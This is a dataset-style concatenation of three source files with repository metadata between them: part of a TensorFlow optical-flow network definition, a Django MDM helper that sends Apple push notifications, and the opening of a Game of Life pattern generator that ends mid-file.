ADAPTED_HEIGHT/32, ADAPTED_WIDTH/32, 2], strides=[1,2,2,1]) + self.weights['netsd_upsample_flow6to5_b'] blobs['blob127'] = tf.concat([blobs['blob121'], blobs['blob125'], blobs['blob126']], axis=3) blobs['blob128'] = tf.nn.conv2d(blobs['blob127'], self.weights['netsd_interconv5_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_interconv5_b'] blobs['blob129'] = tf.nn.conv2d(blobs['blob128'], self.weights['netsd_Convolution2_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_Convolution2_b'] blobs['blob130'] = tf.nn.conv2d_transpose(blobs['blob127'], self.weights['netsd_deconv4_w'], output_shape=[batch_size, ADAPTED_HEIGHT/16, ADAPTED_WIDTH/16, 256], strides=[1,2,2,1]) + self.weights['netsd_deconv4_b'] blobs['blob130'] = self.leaky_relu(blobs['blob130'], 0.1) blobs['blob131'] = tf.nn.conv2d_transpose(blobs['blob129'], self.weights['netsd_upsample_flow5to4_w'], output_shape=[batch_size, ADAPTED_HEIGHT/16, ADAPTED_WIDTH/16, 2], strides=[1,2,2,1]) + self.weights['netsd_upsample_flow5to4_b'] blobs['blob132'] = tf.concat([blobs['blob119'], blobs['blob130'], blobs['blob131']], axis=3) blobs['blob133'] = tf.nn.conv2d(blobs['blob132'], self.weights['netsd_interconv4_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_interconv4_b'] blobs['blob134'] = tf.nn.conv2d(blobs['blob133'], self.weights['netsd_Convolution3_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_Convolution3_b'] blobs['blob135'] = tf.nn.conv2d_transpose(blobs['blob132'], self.weights['netsd_deconv3_w'], output_shape=[batch_size, ADAPTED_HEIGHT/8, ADAPTED_WIDTH/8, 128], strides=[1,2,2,1]) + self.weights['netsd_deconv3_b'] blobs['blob135'] = self.leaky_relu(blobs['blob135'], 0.1) blobs['blob136'] = tf.nn.conv2d_transpose(blobs['blob134'], self.weights['netsd_upsample_flow4to3_w'], output_shape=[batch_size, ADAPTED_HEIGHT/8, ADAPTED_WIDTH/8, 2], strides=[1,2,2,1]) + self.weights['netsd_upsample_flow4to3_b'] blobs['blob137'] = tf.concat([blobs['blob117'], blobs['blob135'], blobs['blob136']], axis=3) blobs['blob138'] = tf.nn.conv2d(blobs['blob137'], self.weights['netsd_interconv3_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_interconv3_b'] blobs['blob139'] = tf.nn.conv2d(blobs['blob138'], self.weights['netsd_Convolution4_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_Convolution4_b'] blobs['blob140'] = tf.nn.conv2d_transpose(blobs['blob137'], self.weights['netsd_deconv2_w'], output_shape=[batch_size, ADAPTED_HEIGHT/4, ADAPTED_WIDTH/4, 64], strides=[1,2,2,1]) + self.weights['netsd_deconv2_b'] blobs['blob140'] = self.leaky_relu(blobs['blob140'], 0.1) blobs['blob141'] = tf.nn.conv2d_transpose(blobs['blob139'], self.weights['netsd_upsample_flow3to2_w'], output_shape=[batch_size, ADAPTED_HEIGHT/4, ADAPTED_WIDTH/4, 2], strides=[1,2,2,1]) + self.weights['netsd_upsample_flow3to2_b'] blobs['blob142'] = tf.concat([blobs['blob115'], blobs['blob140'], blobs['blob141']], axis=3) blobs['blob143'] = tf.nn.conv2d(blobs['blob142'], self.weights['netsd_interconv2_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_interconv2_b'] blobs['blob144'] = tf.nn.conv2d(blobs['blob143'], self.weights['netsd_Convolution5_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_Convolution5_b'] blobs['blob145'] = 0.05*blobs['blob144'] blobs['blob146'] = tf.image.resize_nearest_neighbor(blobs['blob145'], size=[ADAPTED_HEIGHT, ADAPTED_WIDTH], align_corners=False) blobs['blob147'] = tf.image.resize_nearest_neighbor(blobs['blob109'], size=[ADAPTED_HEIGHT, ADAPTED_WIDTH], align_corners=False) #blobs['blob148'] = tf.sqrt(1e-8+tf.reduce_sum(blobs['blob146']**2, axis=3, keep_dims=True)) blobs['blob148'] = self.l2_norm(blobs['blob146']) #blobs['blob149'] = tf.sqrt(1e-8+tf.reduce_sum(blobs['blob147']**2, axis=3, keep_dims=True)) blobs['blob149'] = self.l2_norm(blobs['blob147']) blobs['blob150'] = self.warp(blobs['img1_nomean_resize'], blobs['blob146']) blobs['blob151'] = blobs['img0_nomean_resize'] - blobs['blob150'] #blobs['blob152'] = tf.sqrt(1e-8+tf.reduce_sum(blobs['blob151']**2, axis=3, keep_dims=True)) blobs['blob152'] = self.l2_norm(blobs['blob151']) blobs['blob153'] = self.warp(blobs['img1_nomean_resize'], blobs['blob147']) blobs['blob154'] = blobs['img0_nomean_resize'] - blobs['blob153'] #blobs['blob155'] = tf.sqrt(1e-8+tf.reduce_sum(blobs['blob154']**2, axis=3, keep_dims=True)) blobs['blob155'] = self.l2_norm(blobs['blob154']) blobs['blob156'] = tf.concat([blobs['img0_nomean_resize'], blobs['blob146'], blobs['blob147'], blobs['blob148'], blobs['blob149'], blobs['blob152'], blobs['blob155']], axis=3) blobs['blob157'] = tf.nn.conv2d(blobs['blob156'], self.weights['fuse_conv0_w'], strides=[1,1,1,1], padding="SAME") + self.weights['fuse_conv0_b'] blobs['blob157'] = self.leaky_relu(blobs['blob157'], 0.1) blobs['blob158'] = tf.pad(blobs['blob157'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob158'] = tf.nn.conv2d(blobs['blob158'], self.weights['fuse_conv1_w'], strides=[1,2,2,1], padding="VALID") + self.weights['fuse_conv1_b'] blobs['blob158'] = self.leaky_relu(blobs['blob158'], 0.1) blobs['blob159'] = tf.nn.conv2d(blobs['blob158'], self.weights['fuse_conv1_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['fuse_conv1_1_b'] blobs['blob159'] = self.leaky_relu(blobs['blob159'], 0.1) blobs['blob160'] = tf.pad(blobs['blob159'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob160'] = tf.nn.conv2d(blobs['blob160'], self.weights['fuse_conv2_w'], strides=[1,2,2,1], padding="VALID") + self.weights['fuse_conv2_b'] blobs['blob160'] = self.leaky_relu(blobs['blob160'], 0.1) blobs['blob161'] = tf.nn.conv2d(blobs['blob160'], self.weights['fuse_conv2_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['fuse_conv2_1_b'] blobs['blob161'] = self.leaky_relu(blobs['blob161'], 0.1) blobs['blob162'] = tf.nn.conv2d(blobs['blob161'], self.weights['fuse__Convolution5_w'], strides=[1,1,1,1], padding="SAME") + self.weights['fuse__Convolution5_b'] blobs['blob163'] = tf.nn.conv2d_transpose(blobs['blob161'], self.weights['fuse_deconv1_w'], output_shape=[batch_size, ADAPTED_HEIGHT/2, ADAPTED_WIDTH/2, 32], strides=[1,2,2,1]) + self.weights['fuse_deconv1_b'] blobs['blob163'] = self.leaky_relu(blobs['blob163'], 0.1) blobs['blob164'] = tf.nn.conv2d_transpose(blobs['blob162'], self.weights['fuse_upsample_flow2to1_w'], output_shape=[batch_size, ADAPTED_HEIGHT/2, ADAPTED_WIDTH/2, 2], strides=[1,2,2,1]) + self.weights['fuse_upsample_flow2to1_b'] blobs['blob165'] = tf.concat([blobs['blob159'], blobs['blob163'], blobs['blob164']], axis=3) blobs['blob166'] = tf.nn.conv2d(blobs['blob165'], self.weights['fuse_interconv1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['fuse_interconv1_b'] blobs['blob167'] = tf.nn.conv2d(blobs['blob166'], self.weights['fuse__Convolution6_w'], strides=[1,1,1,1], padding="SAME") + self.weights['fuse__Convolution6_b'] blobs['blob168'] = tf.nn.conv2d_transpose(blobs['blob165'], self.weights['fuse_deconv0_w'], output_shape=[batch_size, ADAPTED_HEIGHT/1, ADAPTED_WIDTH/1, 16], strides=[1,2,2,1]) + self.weights['fuse_deconv0_b'] blobs['blob168'] = self.leaky_relu(blobs['blob168'], 0.1) blobs['blob169'] = tf.nn.conv2d_transpose(blobs['blob167'], self.weights['fuse_upsample_flow1to0_w'], output_shape=[batch_size, ADAPTED_HEIGHT, ADAPTED_WIDTH, 2], strides=[1,2,2,1]) + self.weights['fuse_upsample_flow1to0_b'] blobs['blob170'] = tf.concat([blobs['blob157'], blobs['blob168'], blobs['blob169']], axis=3) blobs['blob171'] = tf.nn.conv2d(blobs['blob170'], self.weights['fuse_interconv0_w'], strides=[1,1,1,1], padding="SAME") + self.weights['fuse_interconv0_b'] blobs['blob172'] = tf.nn.conv2d(blobs['blob171'], self.weights['fuse__Convolution7_w'], strides=[1,1,1,1], padding="SAME") + self.weights['fuse__Convolution7_b'] blobs['predict_flow_resize'] = tf.image.resize_bilinear(blobs['blob172'], size=[TARGET_HEIGHT, TARGET_WIDTH], align_corners=True) scale = tf.stack([SCALE_WIDTH, SCALE_HEIGHT]) scale = tf.reshape(scale, [1,1,1,2]) blobs['predict_flow_final'] = scale*blobs['predict_flow_resize'] self.blobs = blobs return blobs def all_variables(self): return [('netsd_deconv5_w', (4, 4, 512, 1024)), ('netsd_conv1_b', (64,)), ('netsd_upsample_flow5to4_w', (4, 4, 2, 2)), ('conv2_b', (128,)), ('fuse__Convolution5_w', (3, 3, 128, 2)), ('netsd_conv4_1_w', (3, 3, 512, 512)), ('netsd_interconv3_w', (3, 3, 386, 128)), ('netsd_deconv4_w', (4, 4, 256, 1026)), ('deconv4_b', (256,)), ('fuse_interconv0_w', (3, 3, 82, 16)), ('netsd_Convolution2_b', (2,)), ('net3_conv4_b', (512,)), ('net3_conv3_b', (256,)), ('net3_predict_conv2_w', (3, 3, 194, 2)), ('net3_predict_conv3_b', (2,)), ('conv6_1_w', (3, 3, 1024, 1024)), ('fuse_upsample_flow2to1_b', (2,)), ('Convolution1_w', (3, 3, 1024, 2)), ('net3_deconv3_w', (4, 4, 128, 770)), ('net2_deconv3_b', (128,)), ('fuse_conv1_w', (3, 3, 64, 64)), ('conv5_w', (3, 3, 512, 512)), ('Convolution4_w', (3, 3, 386, 2)), ('fuse_conv0_b', (64,)), ('net2_conv3_w', (5, 5, 128, 256)), ('upsample_flow4to3_b', (2,)), ('netsd_conv4_1_b', (512,)), ('fuse_upsample_flow2to1_w', (4, 4, 2, 2)), ('netsd_conv4_b', (512,)), ('net2_net2_upsample_flow3to2_b', (2,)), ('net3_predict_conv4_b', (2,)), ('fuse_upsample_flow1to0_b', (2,)), ('conv4_1_w', (3, 3, 512, 512)), ('deconv2_b', (64,)), ('net2_conv4_1_w', (3, 3, 512, 512)), ('net3_deconv4_w', (4, 4, 256, 1026)), ('net2_deconv5_b', (512,)), ('netsd_deconv5_b', (512,)), ('net2_deconv2_b', (64,)), ('net3_conv2_b', (128,)), ('conv_redir_w', (1, 1, 256, 32)), ('fuse_conv1_1_b', (128,)), ('net2_deconv5_w', (4, 4, 512, 1024)), ('net2_conv5_b', (512,)), ('net2_conv4_w', (3, 3, 256, 512)), ('net2_predict_conv6_w', (3, 3, 1024, 2)), ('netsd_conv5_b', (512,)), ('deconv4_w', (4, 4, 256, 1026)), ('net2_net2_upsample_flow4to3_b', (2,)), ('fuse__Convolution6_w', (3, 3, 32, 2)), ('net3_deconv2_w', (4, 4, 64, 386)), ('net2_conv6_1_w', (3, 3, 1024, 1024)), ('netsd_conv0_b', (64,)), ('netsd_conv5_1_w', (3, 3, 512, 512)), ('net2_conv6_1_b', (1024,)), ('net3_conv2_w', (5, 5, 64, 128)), ('net3_predict_conv6_w', (3, 3, 1024, 2)), ('net3_conv4_1_b', (512,)), ('net3_net3_upsample_flow4to3_w', (4, 4, 2, 2)), ('net2_deconv2_w', (4, 4, 64, 386)), ('deconv3_b', (128,)), ('netsd_interconv5_b', (512,)), ('net2_conv3_1_w', (3, 3, 256, 256)), ('netsd_interconv4_w', (3, 3, 770, 256)), ('net3_deconv3_b', (128,)), ('fuse_conv0_w', (3, 3, 11, 64)), ('net3_predict_conv6_b', (2,)), ('fuse_upsample_flow1to0_w', (4, 4, 2, 2)), ('netsd_deconv3_b', (128,)), ('net3_predict_conv5_w', (3, 3, 1026, 2)), ('netsd_conv5_w', (3, 3, 512, 512)), ('netsd_interconv5_w', (3, 3, 1026, 512)), ('netsd_Convolution3_w', (3, 3, 256, 2)), ('net2_predict_conv4_w', (3, 3, 770, 2)), ('deconv2_w', (4, 4, 64, 386)), ('net3_predict_conv5_b', (2,)), ('fuse__Convolution5_b', (2,)), ('fuse__Convolution7_w', (3, 3, 16, 2)), ('net2_net2_upsample_flow6to5_w', (4, 4, 2, 2)), ('netsd_conv3_b', (256,)), ('net3_conv6_w', (3, 3, 512, 1024)), ('net3_conv1_b', (64,)), ('netsd_Convolution4_b', (2,)), ('net3_conv3_w', (5, 5, 128, 256)), ('netsd_conv0_w', (3, 3, 6, 64)), ('net2_conv4_b', (512,)), ('net2_predict_conv3_w', (3, 3, 386, 2)), ('net3_net3_upsample_flow3to2_w', (4, 4, 2, 2)), ('fuse_conv1_1_w', (3, 3, 64, 128)), ('deconv5_b', (512,)), ('fuse__Convolution7_b', (2,)), ('net3_conv6_1_w', (3, 3, 1024, 1024)), ('net3_net3_upsample_flow5to4_w', (4, 4, 2, 2)), ('net3_conv4_w', (3, 3, 256, 512)), ('upsample_flow5to4_w', (4, 4, 2, 2)), ('conv4_1_b', (512,)), ('img0s_aug_b', (320, 448, 3, 1)), ('conv5_1_b', (512,)), ('net3_conv4_1_w', (3, 3, 512, 512)), ('upsample_flow5to4_b', (2,)), ('net3_conv3_1_b', (256,)), ('Convolution1_b', (2,)), ('upsample_flow4to3_w', (4, 4, 2, 2)), ('conv5_1_w', (3, 3, 512, 512)), ('conv3_1_b', (256,)), ('conv3_w', (5, 5, 128, 256)), ('net2_conv2_b', (128,)), ('net3_net3_upsample_flow6to5_w', (4, 4, 2, 2)), ('upsample_flow3to2_b', (2,)), ('netsd_Convolution5_w', (3, 3, 64, 2)), ('netsd_interconv2_w', (3, 3, 194, 64)), ('net2_predict_conv6_b', (2,)), ('net2_deconv4_w', (4, 4, 256, 1026)), ('scale_conv1_b', (2,)), ('net2_net2_upsample_flow5to4_w', (4, 4, 2, 2)), ('netsd_conv2_b', (128,)), ('netsd_conv2_1_b', (128,)), ('netsd_upsample_flow6to5_w', (4, 4, 2, 2)), ('net2_predict_conv5_b', (2,)), ('net3_conv6_1_b', (1024,)), ('netsd_conv6_w', (3, 3, 512, 1024)), ('Convolution4_b', (2,)), ('net2_predict_conv4_b', (2,)), ('fuse_deconv1_b', (32,)), ('conv3_1_w', (3, 3, 473, 256)), ('net3_deconv2_b', (64,)), ('netsd_conv6_b', (1024,)), ('net2_conv5_1_w', (3, 3, 512, 512)), ('net3_conv5_1_w', (3, 3, 512, 512)), ('deconv5_w', (4, 4, 512, 1024)), ('fuse_conv2_b', (128,)), ('netsd_conv1_1_b', (128,)), ('netsd_upsample_flow6to5_b', (2,)), ('Convolution5_w', (3, 3, 194, 2)), ('scale_conv1_w', (1, 1, 2, 2)), ('net2_net2_upsample_flow5to4_b', (2,)), ('conv6_1_b', (1024,)), ('fuse_conv2_1_b', (128,)), ('netsd_Convolution5_b', (2,)), ('netsd_conv3_1_b', (256,)), ('conv2_w', (5, 5, 64, 128)), ('fuse_conv2_w', (3, 3, 128, 128)), ('net2_conv2_w', (5, 5, 64, 128)), ('conv3_b', (256,)), ('net3_deconv5_w', (4, 4, 512, 1024)), ('img1s_aug_w', (1, 1, 1, 1)), ('netsd_conv2_w', (3, 3, 128, 128)), ('conv6_w', (3, 3, 512, 1024)), ('netsd_conv4_w', (3, 3, 256, 512)), ('net2_conv1_w', (7, 7, 12, 64)), ('netsd_Convolution1_w', (3, 3, 1024, 2)), ('netsd_conv1_w', (3, 3, 64, 64)), ('netsd_deconv4_b', (256,)), ('conv4_w', (3, 3, 256, 512)), ('conv5_b', (512,)), ('net3_deconv5_b', (512,)), ('netsd_interconv3_b', (128,)), ('net3_conv3_1_w', (3, 3, 256, 256)), ('net2_predict_conv5_w', (3, 3, 1026, 2)), ('Convolution3_b', (2,)), ('netsd_conv5_1_b', (512,)), ('netsd_interconv4_b', (256,)), ('conv4_b', (512,)), ('net3_net3_upsample_flow6to5_b', (2,)), ('Convolution5_b', (2,)), ('fuse_conv2_1_w', (3, 3, 128, 128)), ('net3_net3_upsample_flow4to3_b', (2,)), ('conv1_w', (7, 7, 3, 64)), ('upsample_flow6to5_b', (2,)), ('conv6_b', (1024,)), ('netsd_upsample_flow3to2_w', (4, 4, 2, 2)), ('net2_deconv3_w', (4, 4, 128, 770)), ('netsd_conv2_1_w', (3, 3, 128, 128)), ('netsd_Convolution3_b', (2,)), ('netsd_upsample_flow4to3_w', (4, 4, 2, 2)), ('fuse_interconv1_w', (3, 3, 162, 32)), ('netsd_upsample_flow4to3_b', (2,)), ('netsd_conv3_1_w', (3, 3, 256, 256)), ('netsd_deconv3_w', (4, 4, 128, 770)), ('net3_conv5_b', (512,)), ('net3_conv5_1_b', (512,)), ('net2_net2_upsample_flow4to3_w', (4, 4, 2, 2)), ('net2_net2_upsample_flow3to2_w', (4, 4, 2, 2)), ('net2_conv3_b', (256,)), ('netsd_conv6_1_w', (3, 3, 1024, 1024)), ('fuse_deconv0_b', (16,)), ('net2_predict_conv2_w', (3, 3, 194, 2)), ('net2_conv1_b', (64,)), ('net2_conv6_b', (1024,)), ('net3_predict_conv2_b', (2,)), ('net2_conv4_1_b', (512,)), ('netsd_Convolution4_w', (3, 3, 128, 2)), ('deconv3_w', (4, 4, 128, 770)), ('fuse_deconv1_w', (4, 4, 32, 128)), ('netsd_Convolution2_w', (3, 3, 512, 2)), ('netsd_Convolution1_b', (2,)), ('net2_conv3_1_b', (256,)), ('fuse_conv1_b', (64,)), ('net2_deconv4_b', (256,)), ('net3_predict_conv4_w', (3, 3, 770, 2)), ('Convolution3_w', (3, 3, 770, 2)), ('netsd_upsample_flow3to2_b', (2,)), ('net3_net3_upsample_flow3to2_b', (2,)), ('fuse_interconv0_b', (16,)), ('Convolution2_w', (3, 3, 1026, 2)), ('net2_conv6_w', (3, 3, 512, 1024)), ('netsd_conv3_w', (3, 3, 128, 256)), ('netsd_upsample_flow5to4_b', (2,)), ('net3_predict_conv3_w', (3, 3, 386, 2)), ('conv_redir_b', (32,)), ('net2_conv5_1_b', (512,)), ('upsample_flow6to5_w', (4, 4, 2, 2)), ('net2_net2_upsample_flow6to5_b', (2,)), ('net3_conv6_b', (1024,)), ('fuse__Convolution6_b', (2,)), ('Convolution2_b', (2,)), ('upsample_flow3to2_w', (4, 4, 2, 2)), ('net3_conv1_w', (7, 7, 12, 64)), ('fuse_deconv0_w', (4, 4, 16, 162)), ('img0s_aug_w', (1, 1, 1, 1)), ('netsd_conv1_1_w', (3, 3, 64, 128)), ('netsd_deconv2_b', (64,)), ('net2_conv5_w', (3, 3, 512, 512)), ('fuse_interconv1_b', (32,)), ('netsd_conv6_1_b', (1024,)), ('netsd_interconv2_b', (64,)), ('img1s_aug_b', (320, 448, 3, 1)), ('netsd_deconv2_w', (4, 4, 64, 386)), ('net2_predict_conv3_b', (2,)), ('net2_predict_conv2_b', (2,)), ('net3_deconv4_b', (256,)), ('net3_net3_upsample_flow5to4_b', (2,)), ('conv1_b', (64,)), ('net3_conv5_w', (3, 3, 512, 512))]

63.473424

253

0.574761

51,245

0.997955

0

17,778

0.346212

a1e2e6423c6af48c84a3959d270e3cdaa9b51fa4

874

py

Python

mdm/utils.py

agnihotri7/dj_mdm

9fc68393d270d361d2a37b726282277b15121658

[ "MIT" ]

null

mdm/utils.py

agnihotri7/dj_mdm

9fc68393d270d361d2a37b726282277b15121658

[ "MIT" ]

null

mdm/utils.py

agnihotri7/dj_mdm

9fc68393d270d361d2a37b726282277b15121658

[ "MIT" ]

null

""" """ import sys import uuid import base64 import fileinput import datetime from django.utils import timezone from django.conf import settings from django.shortcuts import get_object_or_404 from urlparse import urlparse, parse_qs from APNSWrapper import * from mdm.models import MDMDevice, DeviceCommand def replaceAll(file, searchExp, replaceExp): for line in fileinput.input(file, inplace=1): if searchExp in line: line = line.replace(searchExp, replaceExp) sys.stdout.write(line) def notify_device(device): device_token = base64.b64decode(device.device_token) cert = settings.APNS_CERT wrapper = APNSNotificationWrapper(cert, False) message = APNSNotification() message.token(device_token) message.appendProperty(APNSProperty('mdm', str(device.push_magic))) wrapper.append(message) wrapper.notify()

25.705882

71

0.751716

0

12

0.01373

a1e35648e878d2c215539f5ee4e619b32ea82f3c

34,207

py

Python

gollyx_maps/rainbow.py

golly-splorts/gollyx-maps

ad57b6e0665a7f2a54f2cfa31717ce152ac3d046

[ "MIT" ]

null

gollyx_maps/rainbow.py

golly-splorts/gollyx-maps

ad57b6e0665a7f2a54f2cfa31717ce152ac3d046

[ "MIT" ]

null

gollyx_maps/rainbow.py

golly-splorts/gollyx-maps

ad57b6e0665a7f2a54f2cfa31717ce152ac3d046

[ "MIT" ]

null

import math import itertools from operator import itemgetter import json import os import random from .geom import hflip_pattern, vflip_pattern, rot_pattern from .patterns import ( get_pattern_size, get_pattern_livecount, get_grid_empty, get_grid_pattern, segment_pattern, methuselah_quadrants_pattern, pattern_union, cloud_region, ) from .utils import pattern2url, retry_on_failure from .error import GollyXPatternsError, GollyXMapsError ############## # Util methods def get_rainbow_pattern_function_map(): return { "rainbowmath": rainbowmath_fourcolor, "rainbow": rainbow_fourcolor, "sunburst": sunburst_fourcolor, "quadgaussian": quadgaussian_fourcolor, "random": random_fourcolor, "timebomb": timebomb_fourcolor, "timebombredux": timebomb2_fourcolor, "randommethuselahs": randommethuselahs_fourcolor, "crabs": crabs_fourcolor, "patiolights": patiolights_fourcolor, "orchard": orchard_fourcolor, "justyna": justyna_fourcolor, "rabbits": rabbits_fourcolor, "multum": multum_fourcolor, "eights": eightx_fourcolor, # Need one more } def rainbow_jitteryrow_pattern(rows, cols, seed=None, methuselah=None, spacing=None): if seed is not None: random.seed(seed) # L is a characteristic length scale if spacing is None: L = 10 else: L = spacing if methuselah is None: methuselah = "rheptomino" count = cols // L centerx = cols // 2 centery = rows // 2 # Place one methuselah every L grid spaces, # up to the maximum multiple of 4 possible maxshapesperteam = (cols // 4) // L maxshapes = 4 * maxshapesperteam team_assignments = [0, 1, 2, 3] random.shuffle(team_assignments) rotdegs = [0, 90, 180, 270] patterns_list_all = [[], [], [], []] # This algorithm is structured unusually, # but ensures everything is centered. for i in range(maxshapesperteam): # Populate all four quadrants manually... end = (i + 1) * L start = end - L // 2 # +---------------+ # |Q1 |Q2 |Q3 |Q4 | # | | | | | # +---------------+ # # Q1 pattern = get_grid_pattern( methuselah, rows, cols, xoffset=centerx - centerx // 2 - random.randint(start, end), yoffset=centery + random.randint(-L, L), hflip=bool(random.getrandbits(1)), vflip=bool(random.getrandbits(1)), rotdeg=random.choice(rotdegs), ) team_ix = team_assignments[0] team_patterns_list = patterns_list_all[team_ix] team_patterns_list.append(pattern) patterns_list_all[team_ix] = team_patterns_list # Q2 pattern = get_grid_pattern( methuselah, rows, cols, xoffset=centerx - random.randint(start, end), yoffset=centery + random.randint(-L, L), hflip=bool(random.getrandbits(1)), vflip=bool(random.getrandbits(1)), rotdeg=random.choice(rotdegs), ) team_ix = team_assignments[1] team_patterns_list = patterns_list_all[team_ix] team_patterns_list.append(pattern) patterns_list_all[team_ix] = team_patterns_list # Q3 pattern = get_grid_pattern( methuselah, rows, cols, xoffset=centerx + random.randint(start, end), yoffset=centery + random.randint(-L, L), hflip=bool(random.getrandbits(1)), vflip=bool(random.getrandbits(1)), rotdeg=random.choice(rotdegs), ) team_ix = team_assignments[2] team_patterns_list = patterns_list_all[team_ix] team_patterns_list.append(pattern) patterns_list_all[team_ix] = team_patterns_list # Q4 pattern = get_grid_pattern( methuselah, rows, cols, xoffset=centerx + centerx // 2 + random.randint(start, end), yoffset=centery + random.randint(-L, L), hflip=bool(random.getrandbits(1)), vflip=bool(random.getrandbits(1)), rotdeg=random.choice(rotdegs), ) team_ix = team_assignments[3] team_patterns_list = patterns_list_all[team_ix] team_patterns_list.append(pattern) patterns_list_all[team_ix] = team_patterns_list pattern_unions = [pattern_union(pl) for pl in patterns_list_all] return tuple(pattern_unions) def rainbow_methuselah_quadrants_pattern( rows, cols, seed=None, methuselah_counts=None, fixed_methuselah=None ): """ Add methuselahs to each quadrant. If the user does not specify any args, this fills the quadrants with lots of small methuselahs. The user can specify which methuselahs to use and how many to use, so e.g. can specify 1 methuselah per quadrant, etc. """ # set rng seed (optional) if seed is not None: random.seed(seed) small_methuselah_names = [ "bheptomino", "cheptomino", "eheptomino", "piheptomino", "rpentomino", ] reg_methuselah_names = [ "acorn", "bheptomino", "cheptomino", "eheptomino", "multuminparvo", "piheptomino", "rabbit", "rpentomino", ] BIGDIMLIMIT = 150 mindim = min(rows, cols) if methuselah_counts is None: if mindim < BIGDIMLIMIT: methuselah_counts = [3, 4, 9] else: methuselah_counts = [3, 4, 9, 16] if fixed_methuselah is None: if mindim < BIGDIMLIMIT: methuselah_names = reg_methuselah_names + small_methuselah_names else: methuselah_names = small_methuselah_names else: methuselah_names = [fixed_methuselah] valid_mc = [1, 2, 3, 4, 9, 16] for mc in methuselah_counts: if mc not in valid_mc: msg = "Invalid methuselah counts passed: must be in {', '.join(valid_mc)}\n" msg += "you specified {', '.join(methuselah_counts)}" raise GollyXPatternsError(msg) # Put a cluster of methuselahs in each quadrant, # one quadrant per team. # Procedure: # place random methuselah patterns in each quadrant corner # Store each quadrant and its upper left corner in (rows from top, cols from left) format quadrants = [ (1, (0, cols // 2)), (2, (0, 0)), (3, (rows // 2, 0)), (4, (rows // 2, cols // 2)), ] rotdegs = [0, 90, 180, 270] all_methuselahs = [] for iq, quad in enumerate(quadrants): count = random.choice(methuselah_counts) if count == 1: # Only one methuselah in this quadrant, so use the center jitterx = 4 jittery = 4 corner = quadrants[iq][1] y = corner[0] + rows // 4 + random.randint(-jittery, jittery) x = corner[1] + cols // 4 + random.randint(-jitterx, jitterx) meth = random.choice(methuselah_names) pattern = get_grid_pattern( meth, rows, cols, xoffset=x, yoffset=y, hflip=bool(random.getrandbits(1)), vflip=bool(random.getrandbits(1)), rotdeg=random.choice(rotdegs), ) livecount = get_pattern_livecount(meth) all_methuselahs.append((livecount, pattern)) elif count == 2 or count == 4: # Two or four methuselahs in this quadrant, so place at corners of a square # Form the square by cutting the quadrant into thirds if count == 4: jitterx = 3 jittery = 3 else: jitterx = 5 jittery = 5 corner = quadrants[iq][1] # Slices and partitions form the inside square nslices = 2 nparts = nslices + 1 posdiag = bool(random.getrandbits(1)) for a in range(1, nparts): for b in range(1, nparts): proceed = False if count == 2: if (posdiag and a == b) or ( not posdiag and a == (nslices - b + 1) ): proceed = True elif count == 4: proceed = True if proceed: y = ( corner[0] + a * ((rows // 2) // nparts) + random.randint(-jittery, jittery) ) x = ( corner[1] + b * ((cols // 2) // nparts) + random.randint(-jitterx, jitterx) ) meth = random.choice(methuselah_names) try: pattern = get_grid_pattern( meth, rows, cols, xoffset=x, yoffset=y, hflip=bool(random.getrandbits(1)), vflip=bool(random.getrandbits(1)), rotdeg=random.choice(rotdegs), ) except GollyXPatternsError: raise GollyXPatternsError( f"Error with methuselah {meth}: cannot fit" ) livecount = get_pattern_livecount(meth) all_methuselahs.append((livecount, pattern)) elif count == 3 or count == 9: # Three or nine methuselahs, place these on a square with three points per side # or eight points total if count == 9: jitterx = 3 jittery = 3 else: jitterx = 5 jittery = 5 corner = quadrants[iq][1] nslices = 4 for a in range(1, nslices): for b in range(1, nslices): proceed = False if count == 3: if a == b: proceed = True elif count == 9: proceed = True if proceed: y = ( corner[0] + a * ((rows // 2) // nslices) + random.randint(-jittery, jittery) ) x = ( corner[1] + b * ((cols // 2) // nslices) + random.randint(-jitterx, jitterx) ) meth = random.choice(methuselah_names) try: pattern = get_grid_pattern( meth, rows, cols, xoffset=x, yoffset=y, hflip=bool(random.getrandbits(1)), vflip=bool(random.getrandbits(1)), rotdeg=random.choice(rotdegs), ) except GollyXPatternsError: raise GollyXPatternsError( f"Error with methuselah {meth}: cannot fit" ) livecount = get_pattern_livecount(meth) all_methuselahs.append((livecount, pattern)) elif count == 16: # Sixteen methuselahs, place these on a 4x4 square jitterx = 2 jittery = 2 corner = quadrants[iq][1] nslices = 5 for a in range(1, nslices): for b in range(1, nslices): y = ( corner[0] + a * ((rows // 2) // nslices) + random.randint(-jittery, jittery) ) x = ( corner[1] + b * ((cols // 2) // nslices) + random.randint(-jitterx, jitterx) ) meth = random.choice(methuselah_names) try: pattern = get_grid_pattern( meth, rows, cols, xoffset=x, yoffset=y, hflip=bool(random.getrandbits(1)), vflip=bool(random.getrandbits(1)), rotdeg=random.choice(rotdegs), ) except GollyXPatternsError: raise GollyXPatternsError( f"Error with methuselah {meth}: cannot fit" ) livecount = get_pattern_livecount(meth) all_methuselahs.append((livecount, pattern)) random.shuffle(all_methuselahs) # Sort by number of live cells all_methuselahs.sort(key=itemgetter(0), reverse=True) team1_patterns = [] team2_patterns = [] team3_patterns = [] team4_patterns = [] asc = [1, 2, 3, 4] ascrev = list(reversed(asc)) serpentine_pattern = asc + ascrev for i, (_, methuselah_pattern) in enumerate(all_methuselahs): serpix = i % len(serpentine_pattern) serpteam = serpentine_pattern[serpix] if serpteam == 1: team1_patterns.append(methuselah_pattern) elif serpteam == 2: team2_patterns.append(methuselah_pattern) elif serpteam == 3: team3_patterns.append(methuselah_pattern) elif serpteam == 4: team4_patterns.append(methuselah_pattern) team1_pattern = pattern_union(team1_patterns) team2_pattern = pattern_union(team2_patterns) team3_pattern = pattern_union(team3_patterns) team4_pattern = pattern_union(team4_patterns) return team1_pattern, team2_pattern, team3_pattern, team4_pattern ############# # Map methods def 